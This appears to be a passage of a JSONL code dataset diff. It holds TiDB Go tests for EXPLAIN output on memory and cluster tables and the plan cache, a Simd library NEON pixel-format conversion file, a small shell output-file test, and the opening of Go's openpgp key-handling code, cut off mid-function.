[]*util.ProcessInfo{tkRootProcess}\n\ttk.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\ttk2.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\n\trs := tk.MustQuery(\"explain select t1.id from kankan1 t1 left join kankan2 t2 on t1.id = t2.id where (case  when t1.name='b' then 'case2' when t1.name='a' then 'case1' else NULL end) = 'case1'\").Rows()\n\trs2 := tk2.MustQuery(fmt.Sprintf(\"explain for connection %d\", tkRootProcess.ID)).Rows()\n\tfor i := range rs {\n\t\tc.Assert(rs[i], DeepEquals, rs2[i])\n\t}\n}\n\nfunc (s *testSuite) TestExplainMemTablePredicate(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\ttk.MustQuery(\"desc select * from METRICS_SCHEMA.tidb_query_duration where time >= '2019-12-23 16:10:13' and time <= '2019-12-23 16:30:13' \").Check(testkit.Rows(\n\t\t\"MemTableScan_5 10000.00 root table:tidb_query_duration PromQL:histogram_quantile(0.9, sum(rate(tidb_server_handle_query_duration_seconds_bucket{}[60s])) by (le,sql_type,instance)), start_time:2019-12-23 16:10:13, end_time:2019-12-23 16:30:13, step:1m0s\"))\n\ttk.MustQuery(\"desc select * from METRICS_SCHEMA.up where time >= '2019-12-23 16:10:13' and time <= '2019-12-23 16:30:13' \").Check(testkit.Rows(\n\t\t\"MemTableScan_5 10000.00 root table:up PromQL:up{}, start_time:2019-12-23 16:10:13, end_time:2019-12-23 16:30:13, step:1m0s\"))\n\ttk.MustQuery(\"desc select * from information_schema.cluster_log where time >= '2019-12-23 16:10:13' and time <= '2019-12-23 16:30:13'\").Check(testkit.Rows(\n\t\t\"MemTableScan_5 10000.00 root table:CLUSTER_LOG start_time:2019-12-23 16:10:13, end_time:2019-12-23 16:30:13\"))\n\ttk.MustQuery(\"desc select * from information_schema.cluster_log where level in ('warn','error') and time >= '2019-12-23 16:10:13' and time <= '2019-12-23 16:30:13'\").Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:CLUSTER_LOG start_time:2019-12-23 16:10:13, end_time:2019-12-23 16:30:13, log_levels:[\"error\",\"warn\"]`))\n\ttk.MustQuery(\"desc select * from information_schema.cluster_log where type in ('high_cpu_1','high_memory_1') and time >= '2019-12-23 16:10:13' and time <= '2019-12-23 16:30:13'\").Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:CLUSTER_LOG start_time:2019-12-23 16:10:13, end_time:2019-12-23 16:30:13, node_types:[\"high_cpu_1\",\"high_memory_1\"]`))\n\ttk.MustQuery(\"desc select * from information_schema.slow_query\").Check(testkit.Rows(\n\t\t\"MemTableScan_4 10000.00 root table:SLOW_QUERY only search in the current 'tidb-slow.log' file\"))\n\ttk.MustQuery(\"desc select * from information_schema.slow_query where time >= '2019-12-23 16:10:13' and time <= '2019-12-23 16:30:13'\").Check(testkit.Rows(\n\t\t\"MemTableScan_5 10000.00 root table:SLOW_QUERY start_time:2019-12-23 16:10:13.000000, end_time:2019-12-23 16:30:13.000000\"))\n\ttk.MustExec(\"set @@time_zone = '+00:00';\")\n\ttk.MustQuery(\"desc select * from information_schema.slow_query where time >= '2019-12-23 16:10:13' and time <= '2019-12-23 16:30:13'\").Check(testkit.Rows(\n\t\t\"MemTableScan_5 10000.00 root table:SLOW_QUERY start_time:2019-12-23 16:10:13.000000, end_time:2019-12-23 16:30:13.000000\"))\n}\n\nfunc (s *testSuite) TestExplainClusterTable(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.cluster_config where type in ('tikv', 'tidb')\")).Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:CLUSTER_CONFIG node_types:[\"tidb\",\"tikv\"]`))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.cluster_config where instance='192.168.1.7:2379'\")).Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:CLUSTER_CONFIG instances:[\"192.168.1.7:2379\"]`))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.cluster_config where type='tidb' and instance='192.168.1.7:2379'\")).Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:CLUSTER_CONFIG node_types:[\"tidb\"], instances:[\"192.168.1.7:2379\"]`))\n}\n\nfunc (s *testSuite) TestInspectionResultTable(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\ttk.MustQuery(\"desc select * from information_schema.inspection_result where rule = 'ddl' and rule = 'config'\").Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:INSPECTION_RESULT skip_inspection:true`))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_result where rule in ('ddl', 'config')\").Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:INSPECTION_RESULT rules:[\"config\",\"ddl\"], items:[]`))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_result where item in ('ddl.lease', 'raftstore.threadpool')\").Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:INSPECTION_RESULT rules:[], items:[\"ddl.lease\",\"raftstore.threadpool\"]`))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_result where item in ('ddl.lease', 'raftstore.threadpool') and rule in ('ddl', 'config')\").Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:INSPECTION_RESULT rules:[\"config\",\"ddl\"], items:[\"ddl.lease\",\"raftstore.threadpool\"]`))\n}\n\nfunc (s *testSuite) TestInspectionRuleTable(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.inspection_rules where type='inspection'\")).Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:INSPECTION_RULES node_types:[\"inspection\"]`))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.inspection_rules where type='inspection' or type='summary'\")).Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:INSPECTION_RULES node_types:[\"inspection\",\"summary\"]`))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.inspection_rules where type='inspection' and type='summary'\")).Check(testkit.Rows(\n\t\t`MemTableScan_5 10000.00 root table:INSPECTION_RULES skip_request: true`))\n}\n\ntype testPrepareSerialSuite struct {\n\t*baseTestSuite\n}\n\nfunc (s *testPrepareSerialSuite) TestExplainForConnPlanCache(c *C) {\n\tif israce.RaceEnabled {\n\t\tc.Skip(\"skip race test\")\n\t}\n\torgEnable := core.PreparedPlanCacheEnabled()\n\tdefer func() {\n\t\tcore.SetPreparedPlanCache(orgEnable)\n\t}()\n\tcore.SetPreparedPlanCache(true)\n\n\tvar err error\n\ttk1 := testkit.NewTestKit(c, s.store)\n\ttk1.Se, err = session.CreateSession4TestWithOpt(s.store, &session.Opt{\n\t\tPreparedPlanCache: kvcache.NewSimpleLRUCache(100, 0.1, math.MaxUint64),\n\t})\n\tc.Assert(err, IsNil)\n\ttk2 := testkit.NewTestKitWithInit(c, s.store)\n\n\ttk1.MustExec(\"use test\")\n\ttk1.MustExec(\"set @@tidb_enable_collect_execution_info=0;\")\n\ttk1.MustExec(\"drop table if exists t\")\n\ttk1.MustExec(\"create table t(a int)\")\n\ttk1.MustExec(\"prepare stmt from 'select * from t where a = ?'\")\n\ttk1.MustExec(\"set @p0='1'\")\n\n\texecuteQuery := \"execute stmt using @p0\"\n\texplainQuery := \"explain for connection \" + strconv.FormatUint(tk1.Se.ShowProcess().ID, 10)\n\texplainResult := testkit.Rows(\n\t\t\"TableReader_7 8000.00 root  data:Selection_6\",\n\t\t\"└─Selection_6 8000.00 cop[tikv]  eq(cast(test.t.a), 1)\",\n\t\t\"  └─TableFullScan_5 10000.00 cop[tikv] table:t keep order:false, stats:pseudo\",\n\t)\n\n\t// Now the ProcessInfo held by mockSessionManager1 will not be updated in real time.\n\t// So it needs to be reset every time before tk2 query.\n\t// TODO: replace mockSessionManager1 with another mockSessionManager.\n\n\t// single test\n\ttk1.MustExec(executeQuery)\n\ttk2.Se.SetSessionManager(&mockSessionManager1{\n\t\tPS: []*util.ProcessInfo{tk1.Se.ShowProcess()},\n\t})\n\ttk2.MustQuery(explainQuery).Check(explainResult)\n\n\t// multiple test, '1000' is both effective and efficient.\n\trepeats := 1000\n\tvar wg sync.WaitGroup\n\twg.Add(2)\n\n\tgo func() {\n\t\tfor i := 0; i < repeats; i++ {\n\t\t\ttk1.MustExec(executeQuery)\n\t\t}\n\t\twg.Done()\n\t}()\n\n\tgo func() {\n\t\tfor i := 0; i < repeats; i++ {\n\t\t\ttk2.Se.SetSessionManager(&mockSessionManager1{\n\t\t\t\tPS: []*util.ProcessInfo{tk1.Se.ShowProcess()},\n\t\t\t})\n\t\t\ttk2.MustQuery(explainQuery).Check(explainResult)\n\t\t}\n\t\twg.Done()\n\t}()\n\n\twg.Wait()\n}\n\nfunc (s *testPrepareSerialSuite) TestSavedPlanPanicPlanCache(c *C) {\n\torgEnable := core.PreparedPlanCacheEnabled()\n\tdefer func() {\n\t\tcore.SetPreparedPlanCache(orgEnable)\n\t}()\n\tcore.SetPreparedPlanCache(true)\n\n\tvar err error\n\ttk := testkit.NewTestKit(c, s.store)\n\ttk.Se, err = session.CreateSession4TestWithOpt(s.store, &session.Opt{\n\t\tPreparedPlanCache: kvcache.NewSimpleLRUCache(100, 0.1, math.MaxUint64),\n\t})\n\tc.Assert(err, IsNil)\n\n\ttk.MustExec(\"use test\")\n\ttk.MustExec(\"drop table if exists t\")\n\ttk.MustExec(\"create table t(a int, b int, c int generated always as (a+b) stored)\")\n\ttk.MustExec(\"insert into t(a,b) values(1,1)\")\n\ttk.MustExec(\"begin\")\n\ttk.MustExec(\"update t set b = 2 where a = 1\")\n\ttk.MustExec(\"prepare stmt from 'select b from t where a > ?'\")\n\ttk.MustExec(\"set @p = 0\")\n\ttk.MustQuery(\"execute stmt using @p\").Check(testkit.Rows(\n\t\t\"2\",\n\t))\n\ttk.MustExec(\"set @p = 1\")\n\ttk.MustQuery(\"execute stmt using @p\").Check(testkit.Rows())\n\terr = tk.ExecToErr(\"insert into t(a,b,c) values(3,3,3)\")\n\tc.Assert(err, NotNil)\n\tc.Assert(err.Error(), Equals, \"[planner:3105]The value specified for generated column 'c' in table 't' is not allowed.\")\n}\n\nfunc (s *testPrepareSerialSuite) TestExplainDotForExplainPlan(c *C) {\n\ttk := testkit.NewTestKit(c, s.store)\n\n\trows := tk.MustQuery(\"select connection_id()\").Rows()\n\tc.Assert(len(rows), Equals, 1)\n\tconnID := rows[0][0].(string)\n\ttk.MustQuery(\"explain select 1\").Check(testkit.Rows(\n\t\t\"Projection_3 1.00 root  1->Column#1\",\n\t\t\"└─TableDual_4 1.00 root  rows:1\",\n\t))\n\n\ttkProcess := tk.Se.ShowProcess()\n\tps := []*util.ProcessInfo{tkProcess}\n\ttk.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\n\ttk.MustQuery(fmt.Sprintf(\"explain format=\\\"dot\\\" for connection %s\", connID)).Check(nil)\n}\n\nfunc (s *testPrepareSerialSuite) TestExplainDotForQuery(c *C) {\n\ttk := testkit.NewTestKit(c, s.store)\n\ttk2 := testkit.NewTestKit(c, s.store)\n\n\trows := tk.MustQuery(\"select connection_id()\").Rows()\n\tc.Assert(len(rows), Equals, 1)\n\tconnID := rows[0][0].(string)\n\ttk.MustQuery(\"select 1\")\n\ttkProcess := tk.Se.ShowProcess()\n\tps := []*util.ProcessInfo{tkProcess}\n\ttk.Se.SetSessionManager(&mockSessionManager1{PS: ps})\n\n\texpected := tk2.MustQuery(\"explain format=\\\"dot\\\" select 1\").Rows()\n\tgot := tk.MustQuery(fmt.Sprintf(\"explain format=\\\"dot\\\" for connection %s\", connID)).Rows()\n\tfor i := range got {\n\t\tc.Assert(got[i], DeepEquals, expected[i])\n\t}\n}\n\nfunc (s *testSuite) TestExplainTableStorage(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TABLE_STORAGE_STATS where TABLE_SCHEMA = 'information_schema'\")).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TABLE_STORAGE_STATS schema:[\\\"information_schema\\\"]\")))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TABLE_STORAGE_STATS where TABLE_NAME = 'schemata'\")).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TABLE_STORAGE_STATS table:[\\\"schemata\\\"]\")))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TABLE_STORAGE_STATS where TABLE_SCHEMA = 'information_schema' and TABLE_NAME = 'schemata'\")).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TABLE_STORAGE_STATS schema:[\\\"information_schema\\\"], table:[\\\"schemata\\\"]\")))\n}\n\nfunc (s *testSuite) TestInspectionSummaryTable(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where rule='ddl'\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  eq(Column#1, \"ddl\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"ddl\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where 'ddl'=rule or rule='config'\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  or(eq(\"ddl\", Column#1), eq(Column#1, \"config\"))`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"config\",\"ddl\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where 'ddl'=rule or rule='config' or rule='slow_query'\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  or(eq(\"ddl\", Column#1), or(eq(Column#1, \"config\"), eq(Column#1, \"slow_query\")))`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"config\",\"ddl\",\"slow_query\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where (rule='config' or rule='slow_query') and (metrics_name='metric_name3' or metrics_name='metric_name1')\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  or(eq(Column#1, \"config\"), eq(Column#1, \"slow_query\")), or(eq(Column#3, \"metric_name3\"), eq(Column#3, \"metric_name1\"))`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"config\",\"slow_query\"], metric_names:[\"metric_name1\",\"metric_name3\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where rule in ('ddl', 'slow_query')\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  in(Column#1, \"ddl\", \"slow_query\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"ddl\",\"slow_query\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where rule in ('ddl', 'slow_query') and metrics_name='metric_name1'\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  eq(Column#3, \"metric_name1\"), in(Column#1, \"ddl\", \"slow_query\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"ddl\",\"slow_query\"], metric_names:[\"metric_name1\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where rule in ('ddl', 'slow_query') and metrics_name in ('metric_name1', 'metric_name2')\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  in(Column#1, \"ddl\", \"slow_query\"), in(Column#3, \"metric_name1\", \"metric_name2\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"ddl\",\"slow_query\"], metric_names:[\"metric_name1\",\"metric_name2\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where rule='ddl' and metrics_name in ('metric_name1', 'metric_name2')\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  eq(Column#1, \"ddl\"), in(Column#3, \"metric_name1\", \"metric_name2\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"ddl\"], metric_names:[\"metric_name1\",\"metric_name2\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where rule='ddl' and metrics_name='metric_NAME3'\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  eq(Column#1, \"ddl\"), eq(Column#3, \"metric_NAME3\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"ddl\"], metric_names:[\"metric_name3\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where rule in ('ddl', 'config') and rule in ('slow_query', 'config')\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  in(Column#1, \"ddl\", \"config\"), in(Column#1, \"slow_query\", \"config\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"config\"]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where metrics_name in ('metric_name1', 'metric_name4') and metrics_name in ('metric_name5', 'metric_name4') and rule in ('ddl', 'config') and rule in ('slow_query', 'config') and quantile in (0.80, 0.90)\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  in(Column#1, \"ddl\", \"config\"), in(Column#1, \"slow_query\", \"config\"), in(Column#3, \"metric_name1\", \"metric_name4\"), in(Column#3, \"metric_name5\", \"metric_name4\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY rules:[\"config\"], metric_names:[\"metric_name4\"], quantiles:[0.800000,0.900000]`,\n\t))\n\ttk.MustQuery(\"desc select * from information_schema.inspection_summary where metrics_name in ('metric_name1', 'metric_name4') and metrics_name in ('metric_name5', 'metric_name4') and metrics_name in ('metric_name5', 'metric_name1') and metrics_name in ('metric_name1', 'metric_name3')\").Check(testkit.Rows(\n\t\t`Selection_5 8000.00 root  in(Column#3, \"metric_name1\", \"metric_name3\"), in(Column#3, \"metric_name1\", \"metric_name4\"), in(Column#3, \"metric_name5\", \"metric_name1\"), in(Column#3, \"metric_name5\", \"metric_name4\")`,\n\t\t`└─MemTableScan_6 10000.00 root table:INSPECTION_SUMMARY skip_inspection: true`,\n\t))\n}\n\nfunc (s *testSuite) TestExplainTiFlashSystemTables(c *C) {\n\ttk := testkit.NewTestKitWithInit(c, s.store)\n\ttiflashInstance := \"192.168.1.7:3930\"\n\tdatabase := \"test\"\n\ttable := \"t\"\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_TABLES where TIFLASH_INSTANCE = '%s'\", tiflashInstance)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_TABLES tiflash_instances:[\\\"%s\\\"]\", tiflashInstance)))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_SEGMENTS where TIFLASH_INSTANCE = '%s'\", tiflashInstance)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_SEGMENTS tiflash_instances:[\\\"%s\\\"]\", tiflashInstance)))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_TABLES where TIDB_DATABASE = '%s'\", database)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_TABLES tidb_databases:[\\\"%s\\\"]\", database)))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_SEGMENTS where TIDB_DATABASE = '%s'\", database)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_SEGMENTS tidb_databases:[\\\"%s\\\"]\", database)))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_TABLES where TIDB_TABLE = '%s'\", table)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_TABLES tidb_tables:[\\\"%s\\\"]\", table)))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_SEGMENTS where TIDB_TABLE = '%s'\", table)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_SEGMENTS tidb_tables:[\\\"%s\\\"]\", table)))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_TABLES where TIFLASH_INSTANCE = '%s' and TIDB_DATABASE = '%s' and TIDB_TABLE = '%s'\", tiflashInstance, database, table)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_TABLES tiflash_instances:[\\\"%s\\\"], tidb_databases:[\\\"%s\\\"], tidb_tables:[\\\"%s\\\"]\", tiflashInstance, database, table)))\n\ttk.MustQuery(fmt.Sprintf(\"desc select * from information_schema.TIFLASH_SEGMENTS where TIFLASH_INSTANCE = '%s' and TIDB_DATABASE = '%s' and TIDB_TABLE = '%s'\", tiflashInstance, database, table)).Check(testkit.Rows(\n\t\tfmt.Sprintf(\"MemTableScan_5 10000.00 root table:TIFLASH_SEGMENTS tiflash_instances:[\\\"%s\\\"], tidb_databases:[\\\"%s\\\"], tidb_tables:[\\\"%s\\\"]\", tiflashInstance, database, table)))\n}\n"}
+{"text": "/*\n* Simd Library (http://ermig1979.github.io/Simd).\n*\n* Copyright (c) 2011-2020 Yermalayeu Ihar.\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*/\n#include \"Simd/SimdStore.h\"\n#include \"Simd/SimdMemory.h\"\n\nnamespace Simd\n{\n#ifdef SIMD_NEON_ENABLE  \n    namespace Neon\n    {\n        const size_t A3 = A * 3;\n        const size_t A4 = A * 4;\n\n        template  SIMD_INLINE void BgraToBgr(const uint8_t * bgra, uint8_t * bgr)\n        {\n            uint8x16x4_t _bgra = Load4(bgra);\n            Store3(bgr, *(uint8x16x3_t*)&_bgra);\n        }\n\n        template  void BgraToBgr(const uint8_t * bgra, size_t width, size_t height, size_t bgraStride, uint8_t * bgr, size_t bgrStride)\n        {\n            assert(width >= A);\n            if (align)\n                assert(Aligned(bgra) && Aligned(bgraStride) && Aligned(bgr) && Aligned(bgrStride));\n\n            size_t alignedWidth = AlignLo(width, A);\n            if (width == alignedWidth)\n                alignedWidth -= A;\n\n            for (size_t row = 0; row < height; ++row)\n            {\n                for (size_t col = 0, colBgra = 0, colBgr = 0; col < alignedWidth; col += A, colBgra += A4, colBgr += A3)\n                    BgraToBgr(bgra + colBgra, bgr + colBgr);\n                if (width != alignedWidth)\n                    BgraToBgr(bgra + 4 * (width - A), bgr + 3 * (width - A));\n                bgra += bgraStride;\n                bgr += bgrStride;\n            }\n        }\n\n        void BgraToBgr(const uint8_t * bgra, size_t width, size_t height, size_t bgraStride, uint8_t * bgr, size_t bgrStride)\n        {\n            if (Aligned(bgra) && Aligned(bgraStride) && Aligned(bgr) && Aligned(bgrStride))\n                BgraToBgr(bgra, width, height, bgraStride, bgr, bgrStride);\n            else\n                BgraToBgr(bgra, width, height, bgraStride, bgr, bgrStride);\n        }\n\n        //---------------------------------------------------------------------\n\n        template  SIMD_INLINE void BgraToRgb(const uint8_t* bgra, uint8_t* rgb)\n        {\n            uint8x16x4_t _bgra = Load4(bgra);\n            uint8x16x3_t _rgb;\n            _rgb.val[0] = _bgra.val[2];\n            _rgb.val[1] = _bgra.val[1];\n            _rgb.val[2] = _bgra.val[0];\n            Store3(rgb, _rgb);\n        }\n\n        template  void BgraToRgb(const uint8_t* bgra, size_t width, size_t height, size_t bgraStride, uint8_t* rgb, size_t rgbStride)\n        {\n            assert(width >= A);\n            if (align)\n                assert(Aligned(bgra) && Aligned(bgraStride) && Aligned(rgb) && Aligned(rgbStride));\n\n            size_t alignedWidth = AlignLo(width, A);\n            if (width == alignedWidth)\n                alignedWidth -= A;\n\n            for (size_t row = 0; row < height; ++row)\n            {\n                for (size_t col = 0, colBgra = 0, colRgb = 0; col < alignedWidth; col += A, colBgra += A4, colRgb += A3)\n                    BgraToRgb(bgra + colBgra, rgb + colRgb);\n                if (width != alignedWidth)\n                    BgraToRgb(bgra + 4 * (width - A), rgb + 3 * (width - A));\n                bgra += bgraStride;\n                rgb += rgbStride;\n            }\n        }\n\n        void BgraToRgb(const uint8_t* bgra, size_t width, size_t height, size_t bgraStride, uint8_t* rgb, size_t rgbStride)\n        {\n            if (Aligned(bgra) && Aligned(bgraStride) && Aligned(rgb) && Aligned(rgbStride))\n                BgraToRgb(bgra, width, height, bgraStride, rgb, rgbStride);\n            else\n                BgraToRgb(bgra, width, height, bgraStride, rgb, rgbStride);\n        }\n    }\n#endif// SIMD_NEON_ENABLE\n}\n"}
+{"text": "source ../testsupport.sh\n\nrun  test.txt\n\n[ -e foo/test.mybranch.hello.world.xml ] || err \"Expected output file in expected directory: foo/test.mybranch.hello.world.xml\"\n\n[ -e foo/test.mybranch.hello.csv ] || err \"Expected output file in expected directory: foo/test.mybranch.hello.csv\"\n\n"}
+{"text": "// Copyright 2011 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage openpgp\n\nimport (\n\t\"crypto/rsa\"\n\t\"io\"\n\t\"time\"\n\n\t\"golang.org/x/crypto/openpgp/armor\"\n\t\"golang.org/x/crypto/openpgp/errors\"\n\t\"golang.org/x/crypto/openpgp/packet\"\n)\n\n// PublicKeyType is the armor type for a PGP public key.\nvar PublicKeyType = \"PGP PUBLIC KEY BLOCK\"\n\n// PrivateKeyType is the armor type for a PGP private key.\nvar PrivateKeyType = \"PGP PRIVATE KEY BLOCK\"\n\n// An Entity represents the components of an OpenPGP key: a primary public key\n// (which must be a signing key), one or more identities claimed by that key,\n// and zero or more subkeys, which may be encryption keys.\ntype Entity struct {\n\tPrimaryKey  *packet.PublicKey\n\tPrivateKey  *packet.PrivateKey\n\tIdentities  map[string]*Identity // indexed by Identity.Name\n\tRevocations []*packet.Signature\n\tSubkeys     []Subkey\n}\n\n// An Identity represents an identity claimed by an Entity and zero or more\n// assertions by other entities about that claim.\ntype Identity struct {\n\tName          string // by convention, has the form \"Full Name (comment) \"\n\tUserId        *packet.UserId\n\tSelfSignature *packet.Signature\n\tSignatures    []*packet.Signature\n}\n\n// A Subkey is an additional public key in an Entity. Subkeys can be used for\n// encryption.\ntype Subkey struct {\n\tPublicKey  *packet.PublicKey\n\tPrivateKey *packet.PrivateKey\n\tSig        *packet.Signature\n}\n\n// A Key identifies a specific public key in an Entity. This is either the\n// Entity's primary key or a subkey.\ntype Key struct {\n\tEntity        *Entity\n\tPublicKey     *packet.PublicKey\n\tPrivateKey    *packet.PrivateKey\n\tSelfSignature *packet.Signature\n}\n\n// A KeyRing provides access to public and private keys.\ntype KeyRing interface {\n\t// KeysById returns the set of keys that have the given key id.\n\tKeysById(id uint64) []Key\n\t// KeysByIdAndUsage returns the set of keys with the given id\n\t// that also meet the key usage given by requiredUsage.\n\t// The requiredUsage is expressed as the bitwise-OR of\n\t// packet.KeyFlag* values.\n\tKeysByIdUsage(id uint64, requiredUsage byte) []Key\n\t// DecryptionKeys returns all private keys that are valid for\n\t// decryption.\n\tDecryptionKeys() []Key\n}\n\n// primaryIdentity returns the Identity marked as primary or the first identity\n// if none are so marked.\nfunc (e *Entity) primaryIdentity() *Identity {\n\tvar firstIdentity *Identity\n\tfor _, ident := range e.Identities {\n\t\tif firstIdentity == nil {\n\t\t\tfirstIdentity = ident\n\t\t}\n\t\tif ident.SelfSignature.IsPrimaryId != nil && *ident.SelfSignature.IsPrimaryId {\n\t\t\treturn ident\n\t\t}\n\t}\n\treturn firstIdentity\n}\n\n// encryptionKey returns the best candidate Key for encrypting a message to the\n// given Entity.\nfunc (e *Entity) encryptionKey(now time.Time) (Key, bool) {\n\tcandidateSubkey := -1\n\n\t// Iterate the keys to find the newest key\n\tvar maxTime time.Time\n\tfor i, subkey := range e.Subkeys {\n\t\tif subkey.Sig.FlagsValid &&\n\t\t\tsubkey.Sig.FlagEncryptCommunications &&\n\t\t\tsubkey.PublicKey.PubKeyAlgo.CanEncrypt() &&\n\t\t\t!subkey.Sig.KeyExpired(now) &&\n\t\t\t(maxTime.IsZero() || subkey.Sig.CreationTime.After(maxTime)) {\n\t\t\tcandidateSubkey = i\n\t\t\tmaxTime = subkey.Sig.CreationTime\n\t\t}\n\t}\n\n\tif candidateSubkey != -1 {\n\t\tsubkey := e.Subkeys[candidateSubkey]\n\t\treturn Key{e, subkey.PublicKey, subkey.PrivateKey, subkey.Sig}, 